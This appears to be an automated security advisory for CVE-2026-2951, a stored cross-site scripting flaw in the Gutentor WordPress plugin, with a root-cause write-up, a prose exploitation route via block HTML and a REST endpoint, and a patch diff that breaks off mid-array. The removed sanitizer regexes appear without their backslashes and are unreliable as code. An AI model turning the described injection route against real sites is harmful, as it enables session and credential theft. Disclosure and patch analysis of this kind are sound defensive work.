Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 23, 2026

CVE-2026-2951: Gutentor – Gutenberg Blocks – Page Builder for Gutenberg Editor <= 3.5.5 – Authenticated (Contributor+) Stored Cross-Site Scripting via Gutentor Block HTML (gutentor)

CVE ID CVE-2026-2951
Plugin gutentor
Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 3.5.5
Patched Version 3.5.6
Disclosed April 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2951:

This vulnerability is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutentor plugin for WordPress, affecting versions up to and including 3.5.5. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts into pages. The vulnerability has a CVSS score of 5.4, reflecting the need for authentication but the severe impact of persistent script execution.

Root Cause: The root cause lies in the insufficient sanitization of HTML content within Gutentor block render output. In the vulnerable version (3.5.5), the function `gutentor_strip_malicious_html()` in `/gutentor/includes/functions/functions.php` (line 2321) used a custom regex-based approach to strip malicious attributes. This pattern-based sanitization was incomplete and could be bypassed with crafted HTML, allowing event handlers (e.g., onload, onerror, onclick) or javascript: URIs to persist. Additionally, the REST API endpoint `save_dynamic_css` (in `/gutentor/includes/dynamic-css.php`, line 422) lacked proper parameter sanitization and validation for its POST arguments, allowing arbitrary data to be passed through the `dynamic_css`, `blocks`, and `widgets` parameters without adequate type checking.

Exploitation: An attacker with Contributor-level access can craft a post or page containing a malicious Gutentor block. The attacker injects XSS payloads through block attributes that produce HTML with event handlers (e.g., ``). When the block renders, the vulnerable `gutentor_strip_malicious_html` function fails to strip the event handler. Alternatively, the attacker can directly send a POST request to the WordPress REST API endpoint `/wp-json/gutentor/v1/save-dynamic-css` (or the AJAX equivalent) with a crafted `dynamic_css` payload containing malicious JavaScript within a CSS value or style attribute. The attacker can also manipulate the `blocks` or `widgets` parameters with unsanitized strings. The injected script executes in the context of any user viewing the page, including administrators.

Patch Analysis: The patch in version 3.5.6 completely replaces the custom regex sanitization with WordPress’s built-in `wp_kses()` function, which is a whitelist-based HTML filtering system. The new function `gutentor_get_allowed_html()` (in `/gutentor/includes/functions/functions.php`, line 2341) defines a comprehensive set of allowed HTML tags and attributes, including a detailed SVG whitelist. It calls `wp_kses_allowed_html( ‘post’ )` to get WordPress’s standard post content allowed HTML, then merges in explicit SVG, media, and iframe attributes. The old `gutentor_strip_malicious_html` now simply returns `wp_kses( $html, gutentor_get_allowed_html() )`. Additionally, the patch adds robust parameter validation and sanitization to several REST API endpoints, including `save_dynamic_css`, `save_blog_template`, `gadvancedb`, and others. Each parameter now has a `sanitize_callback` and `validate_callback`, such as `sanitize_dynamic_css_param` which ensures the CSS value is a string and the gfonts value is an array. The patch also adds a proper permission callback `save_dynamic_css_permissions_check` that verifies the user can edit the specific post ID or has permission for widget saves, preventing unauthorized requests.

Impact: Successful exploitation allows authenticated attackers (Contributor+) to inject and execute arbitrary JavaScript in the context of other users’ browsers. This can lead to session hijacking, credential theft, WordPress admin account creation (if an admin views the page), sensitive data exfiltration, and full site compromise. The injected script executes on every page load for any user accessing the affected content, making the attack persistent and difficult to remove without manual cleanup.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/gutentor/gutentor.php
+++ b/gutentor/gutentor.php
@@ -14,7 +14,7 @@
  * @wordpress-plugin
  * Plugin Name:       Gutentor - Gutenberg Blocks - Page Builder for Gutenberg Editor
  * Description:       Advanced yet easy, Gutenberg editor page builder blocks. Create a masterpiece, pixel perfect websites using modern WordPress Gutenberg blocks.
- * Version:           3.5.5
+ * Version:           3.5.6
  * Author:            Gutentor
  * Author URI:        https://www.gutentor.com/
  * License:           GPL-2.0+
@@ -23,7 +23,7 @@
  */

 /*Define Constants for this plugin*/
-define( 'GUTENTOR_VERSION', '3.5.5' );
+define( 'GUTENTOR_VERSION', '3.5.6' );
 define( 'GUTENTOR_PLUGIN_NAME', 'gutentor' );
 define( 'GUTENTOR_PATH', plugin_dir_path( __FILE__ ) );
 define( 'GUTENTOR_URL', plugin_dir_url( __FILE__ ) );
--- a/gutentor/includes/dynamic-css.php
+++ b/gutentor/includes/dynamic-css.php
@@ -240,7 +240,7 @@
 				$blocks = parse_blocks( $_wp_current_template_content );

 				// Include the helper class for template info
-				require_once GUTENTOR_PATH . 'includes/tools/class-gutentor-tempalte-info.php';
+				require_once GUTENTOR_PATH . 'includes/tools/class-gutentor-template-info.php';

 				// Setup WordPress filesystem if not already initialized
 				global $wp_filesystem;
@@ -422,10 +422,34 @@
 					array(
 						'methods'             => 'POST',
 						'callback'            => array( $this, 'save_dynamic_css' ),
-						'permission_callback' => function () {
-							return current_user_can( 'edit_posts' );
-						},
-						'args'                => array(),
+						'permission_callback' => array( $this, 'save_dynamic_css_permissions_check' ),
+						'args'                => array(
+							'post_id'     => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_post_id_param' ),
+							),
+							'dynamic_css' => array(
+								'type'              => 'object',
+								'required'          => true,
+								'sanitize_callback' => array( $this, 'sanitize_dynamic_css_param' ),
+								'validate_callback' => array( $this, 'validate_dynamic_css_param' ),
+							),
+							'blocks'      => array(
+								'type'              => 'array',
+								'required'          => false,
+								'default'           => array(),
+								'sanitize_callback' => array( $this, 'sanitize_blocks_param' ),
+								'validate_callback' => array( $this, 'validate_blocks_param' ),
+							),
+							'widgets'     => array(
+								'type'              => 'object',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_widgets_param' ),
+								'validate_callback' => array( $this, 'validate_widgets_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -439,12 +463,205 @@
 						'permission_callback' => function () {
 							return current_user_can( 'edit_posts' );
 						},
+						'args'                => array(
+							'tax_terms' => array(
+								'type'              => 'object',
+								'required'          => true,
+								'sanitize_callback' => array( $this, 'sanitize_tax_terms_param' ),
+								'validate_callback' => array( $this, 'validate_tax_terms_param' ),
+							),
+						),
 					),
 				)
 			);
 		}

 		/**
+		 * Permission callback for saving dynamic CSS.
+		 *
+		 * @since 3.5.6
+		 * @param WP_REST_Request $request Request object.
+		 * @return true|WP_Error
+		 */
+		public function save_dynamic_css_permissions_check( WP_REST_Request $request ) {
+			if ( ! current_user_can( 'edit_posts' ) ) {
+				return new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to save dynamic CSS.', 'gutentor' ), array( 'status' => rest_authorization_required_code() ) );
+			}
+
+			$post_id     = absint( $request->get_param( 'post_id' ) );
+			$has_widgets = $request->has_param( 'widgets' ) && is_array( $request->get_param( 'widgets' ) );
+
+			if ( ! $post_id && ! $has_widgets ) {
+				return new WP_Error( 'rest_invalid_param', __( 'A valid post_id or widgets payload is required.', 'gutentor' ), array( 'status' => 400 ) );
+			}
+
+			if ( $post_id && ! current_user_can( 'edit_post', $post_id ) ) {
+				return new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to edit this post.', 'gutentor' ), array( 'status' => rest_authorization_required_code() ) );
+			}
+
+			return true;
+		}
+
+		/**
+		 * Validate post ID input.
+		 *
+		 * @since 3.5.6
+		 * @param mixed            $value   Request value.
+		 * @param WP_REST_Request $request Request object.
+		 * @return bool
+		 */
+		public function validate_post_id_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( null === $value || '' === $value ) {
+				return true;
+			}
+
+			$post_id = absint( $value );
+			if ( ! $post_id ) {
+				return false;
+			}
+
+			return (bool) get_post( $post_id );
+		}
+
+		/**
+		 * Validate dynamic CSS payload.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return bool
+		 */
+		public function validate_dynamic_css_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			return is_array( $value ) && isset( $value['css'] );
+		}
+
+		/**
+		 * Sanitize dynamic CSS payload.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return array
+		 */
+		public function sanitize_dynamic_css_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( ! is_array( $value ) ) {
+				return array(
+					'css'    => '',
+					'gfonts' => array(),
+				);
+			}
+
+			return array(
+				'css'    => isset( $value['css'] ) && is_string( $value['css'] ) ? $value['css'] : '',
+				'gfonts' => isset( $value['gfonts'] ) && is_array( $value['gfonts'] ) ? $value['gfonts'] : array(),
+			);
+		}
+
+		/**
+		 * Validate blocks payload.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return bool
+		 */
+		public function validate_blocks_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			return is_array( $value );
+		}
+
+		/**
+		 * Sanitize blocks payload.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return array
+		 */
+		public function sanitize_blocks_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( ! is_array( $value ) ) {
+				return array();
+			}
+
+			return array_map( 'sanitize_text_field', $value );
+		}
+
+		/**
+		 * Validate widgets payload.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return bool
+		 */
+		public function validate_widgets_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( null === $value || '' === $value ) {
+				return true;
+			}
+
+			return is_array( $value ) && isset( $value['theme'] ) && is_string( $value['theme'] );
+		}
+
+		/**
+		 * Sanitize widgets payload.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return array
+		 */
+		public function sanitize_widgets_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( ! is_array( $value ) ) {
+				return array();
+			}
+
+			if ( isset( $value['theme'] ) ) {
+				$value['theme'] = sanitize_text_field( $value['theme'] );
+			}
+
+			return $value;
+		}
+
+		/**
+		 * Validate tax terms payload.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return bool
+		 */
+		public function validate_tax_terms_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( ! is_array( $value ) || empty( $value ) ) {
+				return false;
+			}
+
+			foreach ( $value as $taxonomy => $term_ids ) {
+				if ( ! taxonomy_exists( sanitize_text_field( $taxonomy ) ) || ! is_array( $term_ids ) ) {
+					return false;
+				}
+			}
+
+			return true;
+		}
+
+		/**
+		 * Sanitize tax terms payload.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return array
+		 */
+		public function sanitize_tax_terms_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( ! is_array( $value ) ) {
+				return array();
+			}
+
+			$sanitized = array();
+			foreach ( $value as $taxonomy => $term_ids ) {
+				$tax_key = sanitize_text_field( $taxonomy );
+				if ( ! is_array( $term_ids ) ) {
+					continue;
+				}
+
+				$sanitized[ $tax_key ] = array_values( array_filter( array_map( 'absint', $term_ids ) ) );
+			}
+
+			return $sanitized;
+		}
+
+		/**
 		 * Function to get Static CSS
 		 *
 		 * @since 3.0.0
@@ -869,7 +1086,7 @@
 			$bg               = '#ffffff';
 			$hover_bg         = '#ffffff';
 			$hover_text_color = '#1974d2';
-			$tax_terms        = $request->get_params( 'tax_terms' )['tax_terms'];
+			$tax_terms        = $request->get_param( 'tax_terms' );
 			$important        = ' !important;';
 			$tax_in_color     = gutentor_get_options( 'tax-in-color' );
 			/*default category text color */
--- a/gutentor/includes/functions/functions.php
+++ b/gutentor/includes/functions/functions.php
@@ -2321,73 +2321,164 @@

 if ( ! function_exists( 'gutentor_strip_malicious_html' ) ) {
 	/**
-	 * Sanitizes HTML content by removing potentially malicious attributes and scripts.
+	 * Returns the unified allowed HTML schema for Gutentor render sanitization.
 	 *
 	 * @since 3.4.9
-	 * @param string $html The HTML content to sanitize.
-	 * @return string Sanitized HTML content.
+	 * @return array Allowed HTML tags and attributes.
 	 */
-	function gutentor_strip_malicious_html( $html ) {
-		if ( empty( $html ) ) {
-			return $html;
+	function gutentor_get_allowed_html() {
+		static $allowed_html = null;
+
+		if ( null !== $allowed_html ) {
+			return $allowed_html;
 		}

-		// Cache regex patterns for performance.
-		static $patterns = array(
-			'event'     => '/s+onw+s*=s*(?:"[^"]*"|'[^']*'|[^s>]+)/i',
-			'uri'       => '/s+(href|src)s*=s*(["'])s*(javascript:|data:)/i',
-			'style'     => '/expression|javascript:|data:|urls*(s*['"]?s*(javascript:|data:)|@import|behavior/i',
-			'svg_start' => '/^<svgb/i',
-		);
+		$allowed_html = wp_kses_allowed_html( 'post' );

-		$risky_attributes = apply_filters(
-			'gutentor_risky_attributes',
-			array( 'autofocus', 'srcdoc', 'formaction', 'tabindex', 'style' )
-		);
+		$add_tag_attrs = static function ( $tag, $attrs ) use ( &$allowed_html ) {
+			$current_attrs = array();

-		return preg_replace_callback(
-			'/<[^>]+>/',
-			function ( $matches ) use ( $risky_attributes, $patterns ) {
-				$tag = $matches[0];
-
-				// Handle SVG with dedicated function.
-				if ( preg_match( $patterns['svg_start'], $tag ) ) {
-					return gutentor_esc_svg( $tag );
+			if ( isset( $allowed_html[ $tag ] ) ) {
+				if ( true === $allowed_html[ $tag ] ) {
+					$current_attrs = array();
+				} elseif ( is_array( $allowed_html[ $tag ] ) ) {
+					$current_attrs = $allowed_html[ $tag ];
 				}
+			}

-				// Process non-SVG tags with standard protection.
-				$tag = preg_replace( $patterns['event'], '', $tag );
-				$tag = preg_replace( $patterns['uri'], ' $1=$2#', $tag );
-
-				if ( ! empty( $risky_attributes ) ) {
-					$tag = preg_replace_callback(
-						'/s+(' . implode( '|', array_map( 'preg_quote', $risky_attributes ) ) . ')s*=s*(?:"([^"]*)"|'([^']*)'|([^s>]+))/i',
-						function ( $attr_matches ) use ( $patterns ) {
-							$attr_name  = strtolower( $attr_matches[1] );
-							$attr_value = $attr_matches[2] ?? $attr_matches[3] ?? $attr_matches[4] ?? '';
-
-							if ( 'tabindex' === $attr_name ) {
-								return in_array( (int) $attr_value, array( 0, -1 ), true )
-									? ' tabindex="' . (int) $attr_value . '"'
-									: '';
-							}
-
-							if ( 'style' === $attr_name ) {
-								return preg_match( $patterns['style'], $attr_value )
-									? ''
-									: ' style="' . esc_attr( $attr_value ) . '"';
-							}
-
-							return '';
-						},
-						$tag
-					);
-				}
+			$allowed_html[ $tag ] = array_merge( $current_attrs, $attrs );
+		};
+
+		$svg_attrs = array(
+			'xmlns'               => true,
+			'xmlns:xlink'         => true,
+			'xml:space'           => true,
+			'viewbox'             => true,
+			'viewBox'             => true,
+			'preserveaspectratio' => true,
+			'preserveAspectRatio' => true,
+			'focusable'           => true,
+			'transform'           => true,
+			'transform-origin'    => true,
+			'opacity'             => true,
+			'fill'                => true,
+			'fill-opacity'        => true,
+			'fill-rule'           => true,
+			'stroke'              => true,
+			'stroke-width'        => true,
+			'stroke-linecap'      => true,
+			'stroke-linejoin'     => true,
+			'stroke-miterlimit'   => true,
+			'd'                   => true,
+			'points'              => true,
+			'offset'              => true,
+			'stop-color'          => true,
+			'stop-opacity'        => true,
+			'gradientunits'       => true,
+			'gradienttransform'   => true,
+			'spreadmethod'        => true,
+			'x'                   => true,
+			'y'                   => true,
+			'x1'                  => true,
+			'y1'                  => true,
+			'x2'                  => true,
+			'y2'                  => true,
+			'dy'                  => true,
+			'cx'                  => true,
+			'cy'                  => true,
+			'r'                   => true,
+			'rx'                  => true,
+			'ry'                  => true,
+			'text-anchor'         => true,
+			'font-family'         => true,
+			'font-size'           => true,
+			'font-weight'         => true,
+			'href'                => true,
+			'xlink:href'          => true,
+			'width'               => true,
+			'height'              => true,
+			'version'             => true,
+			'data-name'           => true,
+			'id'                  => true,
+			'class'               => true,
+			'style'               => true,
+			'role'                => true,
+			'aria-hidden'         => true,
+			'data-*'              => true,
+		);

-				return $tag;
-			},
-			$html
+		$add_tag_attrs( 'svg', $svg_attrs );
+		$add_tag_attrs( 'path', $svg_attrs );
+		$add_tag_attrs( 'g', $svg_attrs );
+		$add_tag_attrs( 'text', $svg_attrs );
+		$add_tag_attrs( 'tspan', $svg_attrs );
+		$add_tag_attrs( 'lineargradient', $svg_attrs );
+		$add_tag_attrs( 'stop', $svg_attrs );
+		$add_tag_attrs( 'polygon', $svg_attrs );
+		$add_tag_attrs( 'rect', $svg_attrs );
+		$add_tag_attrs( 'circle', $svg_attrs );
+		$add_tag_attrs( 'defs', $svg_attrs );
+		$add_tag_attrs( 'use', $svg_attrs );
+		$add_tag_attrs( 'symbol', $svg_attrs );
+
+		$media_attrs = array(
+			'src'             => true,
+			'srcset'          => true,
+			'sizes'           => true,
+			'type'            => true,
+			'poster'          => true,
+			'preload'         => true,
+			'controls'        => true,
+			'controlslist'    => true,
+			'autoplay'        => true,
+			'muted'           => true,
+			'loop'            => true,
+			'playsinline'     => true,
+			'width'           => true,
+			'height'          => true,
+			'loading'         => true,
+			'decoding'        => true,
+			'fetchpriority'   => true,
+			'frameborder'     => true,
+			'allow'           => true,
+			'allowfullscreen' => true,
+			'referrerpolicy'  => true,
+			'sandbox'         => true,
+			'name'            => true,
+			'id'              => true,
+			'class'           => true,
+			'style'           => true,
+			'role'            => true,
+			'aria-label'      => true,
+			'aria-hidden'     => true,
+			'data-*'          => true,
 		);
+
+		$add_tag_attrs( 'video', $media_attrs );
+		$add_tag_attrs( 'source', $media_attrs );
+		$add_tag_attrs( 'audio', $media_attrs );
+		$add_tag_attrs( 'picture', $media_attrs );
+		$add_tag_attrs( 'iframe', $media_attrs );
+		$add_tag_attrs( 'canvas', $media_attrs );
+
+		$allowed_html = apply_filters( 'gutentor_allowed_html', $allowed_html );
+
+		return $allowed_html;
+	}
+
+	/**
+	 * Sanitizes HTML content by removing potentially malicious attributes and scripts.
+	 *
+	 * @since 3.4.9
+	 * @param string $html The HTML content to sanitize.
+	 * @return string Sanitized HTML content.
+	 */
+	function gutentor_strip_malicious_html( $html ) {
+		if ( empty( $html ) ) {
+			return '';
+		}
+
+		return wp_kses( $html, gutentor_get_allowed_html() );
 	}
 }

--- a/gutentor/includes/functions/sanitize.php
+++ b/gutentor/includes/functions/sanitize.php
@@ -221,6 +221,22 @@
 	 */
 	function gutentor_esc_svg( $svg_html ) {

+		if ( function_exists( 'gutentor_get_allowed_html' ) ) {
+			$global_allowed_html = gutentor_get_allowed_html();
+			$svg_tags            = array( 'svg', 'path', 'lineargradient', 'stop', 'g', 'text', 'tspan', 'polygon', 'rect', 'circle', 'defs', 'use', 'symbol' );
+			$svg_allowed_html    = array();
+
+			foreach ( $svg_tags as $svg_tag ) {
+				if ( isset( $global_allowed_html[ $svg_tag ] ) && is_array( $global_allowed_html[ $svg_tag ] ) ) {
+					$svg_allowed_html[ $svg_tag ] = $global_allowed_html[ $svg_tag ];
+				}
+			}
+
+			if ( ! empty( $svg_allowed_html ) ) {
+				return wp_kses( $svg_html, $svg_allowed_html );
+			}
+		}
+
 		$allowed_html = array(
 			'svg'            => array(
 				'xmlns'               => array(),
--- a/gutentor/includes/tools/class-gutentor-advanced-import.php
+++ b/gutentor/includes/tools/class-gutentor-advanced-import.php
@@ -51,9 +51,11 @@
 						},
 						'args'                => array(
 							'reset' => array(
-								'type'        => 'boolean',
-								'required'    => false,
-								'description' => __( 'Reset True or False', 'gutentor' ),
+								'type'              => 'boolean',
+								'required'          => false,
+								'description'       => __( 'Reset True or False', 'gutentor' ),
+								'sanitize_callback' => array( $this, 'sanitize_boolean_param' ),
+								'validate_callback' => array( $this, 'validate_boolean_param' ),
 							),
 						),

@@ -73,9 +75,11 @@
 						},
 						'args'                => array(
 							'url' => array(
-								'type'        => 'string',
-								'required'    => true,
-								'description' => __( 'URL of the JSON file.', 'gutentor' ),
+								'type'              => 'string',
+								'required'          => true,
+								'description'       => __( 'URL of the JSON file.', 'gutentor' ),
+								'sanitize_callback' => array( $this, 'sanitize_url_param' ),
+								'validate_callback' => array( $this, 'validate_import_url_param' ),
 							),
 						),
 					),
@@ -84,6 +88,68 @@
 		}

 		/**
+		 * Sanitize boolean param.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return bool
+		 */
+		public function sanitize_boolean_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			return rest_sanitize_boolean( $value );
+		}
+
+		/**
+		 * Validate boolean param.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return bool
+		 */
+		public function validate_boolean_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			return rest_is_boolean( $value );
+		}
+
+		/**
+		 * Sanitize URL param.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return string
+		 */
+		public function sanitize_url_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			return esc_url_raw( (string) $value );
+		}
+
+		/**
+		 * Validate import URL against unsafe targets.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return bool
+		 */
+		public function validate_import_url_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( ! is_string( $value ) || ! gutentor_is_valid_url( $value ) ) {
+				return false;
+			}
+
+			$host = wp_parse_url( $value, PHP_URL_HOST );
+			if ( empty( $host ) ) {
+				return false;
+			}
+
+			$host = strtolower( $host );
+			if ( in_array( $host, array( 'localhost', '127.0.0.1', '::1' ), true ) ) {
+				return false;
+			}
+
+			if ( filter_var( $host, FILTER_VALIDATE_IP ) && ! filter_var( $host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ) ) {
+				return false;
+			}
+
+			return true;
+		}
+
+		/**
 		 * Function to delete templates and bock json transient
 		 *
 		 * @since 2.0.9
--- a/gutentor/includes/tools/class-gutentor-self-api-handler.php
+++ b/gutentor/includes/tools/class-gutentor-self-api-handler.php
@@ -49,6 +49,68 @@
 						'permission_callback' => function () {
 							return current_user_can( 'edit_posts' );
 						},
+						'args'                => array(
+							'posts_per_page' => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'post_type'      => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_post_type_param_optional' ),
+							),
+							'orderby'        => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_orderby_param' ),
+							),
+							'order'          => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_order_param' ),
+							),
+							'paged'          => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_positive_int_param' ),
+							),
+							'taxonomy'       => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_taxonomy_param_optional' ),
+							),
+							'term'           => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'offset'         => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'post__in'       => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'post__not_in'   => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -61,23 +123,56 @@
 						'methods'             => WP_REST_Server::READABLE,
 						'callback'            => array( $this, 'gadvancedb' ),
 						'args'                => array(
-							'paged'   => array(
-								'type'              => 'number',
+							'paged'          => array(
+								'type'              => 'integer',
 								'required'          => true,
 								'description'       => __( 'Page Number (Paged) ', 'gutentor' ),
 								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_positive_int_param' ),
 							),
-							'blockId' => array(
+							'blockId'        => array(
 								'type'              => 'string',
 								'required'          => true,
 								'description'       => __( 'Block ID', 'gutentor' ),
-								'sanitize_callback' => 'sanitize_text_field',
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_block_id_param' ),
 							),
-							'postId'  => array(
-								'type'              => 'number',
+							'postId'         => array(
+								'type'              => 'integer',
 								'required'          => true,
 								'description'       => __( 'Block ID', 'gutentor' ),
-								'sanitize_callback' => 'sanitize_text_field',
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_positive_int_param' ),
+							),
+							'gTax'           => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'gTerm'          => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'innerBlockType' => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							's'              => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'allOpt'         => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
 							),
 						),
 						'permission_callback' => '__return_true',
@@ -95,6 +190,14 @@
 						'permission_callback' => function () {
 							return current_user_can( 'edit_posts' );
 						},
+						'args'                => array(
+							'post_type' => array(
+								'type'              => 'string',
+								'required'          => true,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_post_type_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -123,6 +226,14 @@
 						'permission_callback' => function () {
 							return current_user_can( 'edit_posts' );
 						},
+						'args'                => array(
+							'post_type' => array(
+								'type'              => 'string',
+								'required'          => true,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_post_type_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -151,6 +262,20 @@
 						'permission_callback' => function () {
 							return current_user_can( 'edit_posts' );
 						},
+						'args'                => array(
+							'postType'  => array(
+								'type'              => 'string',
+								'required'          => true,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_post_type_param' ),
+							),
+							'searchTxt' => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -166,11 +291,18 @@
 							return current_user_can( 'edit_posts' );
 						},
 						'args'                => array(
-							'tax' => array(
+							'tax'       => array(
 								'type'              => 'string',
 								'required'          => true,
 								'description'       => __( 'Taxonomy', 'gutentor' ),
-								'sanitize_callback' => 'sanitize_text_field',
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_taxonomy_param' ),
+							),
+							'searchTxt' => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
 							),
 						),

@@ -186,6 +318,314 @@
 						'methods'             => WP_REST_Server::READABLE,
 						'callback'            => array( $this, 'get_posts' ),
 						'permission_callback' => array( $this, 'get_posts_permissions_check' ),
+						'args'                => array(
+							'post_type'              => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_post_type_param_optional' ),
+							),
+							'per_page'               => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_positive_int_param' ),
+							),
+							'paged'                  => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_positive_int_param' ),
+							),
+							'offset'                 => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'post_status'            => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_post_status_param' ),
+							),
+							'orderby'                => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_orderby_param' ),
+							),
+							'order'                  => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_order_param' ),
+							),
+							'taxonomy'               => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_taxonomy_param_optional' ),
+							),
+							'term'                   => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'taxOperator'            => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_tax_operator_param' ),
+							),
+							'post__in'               => array(
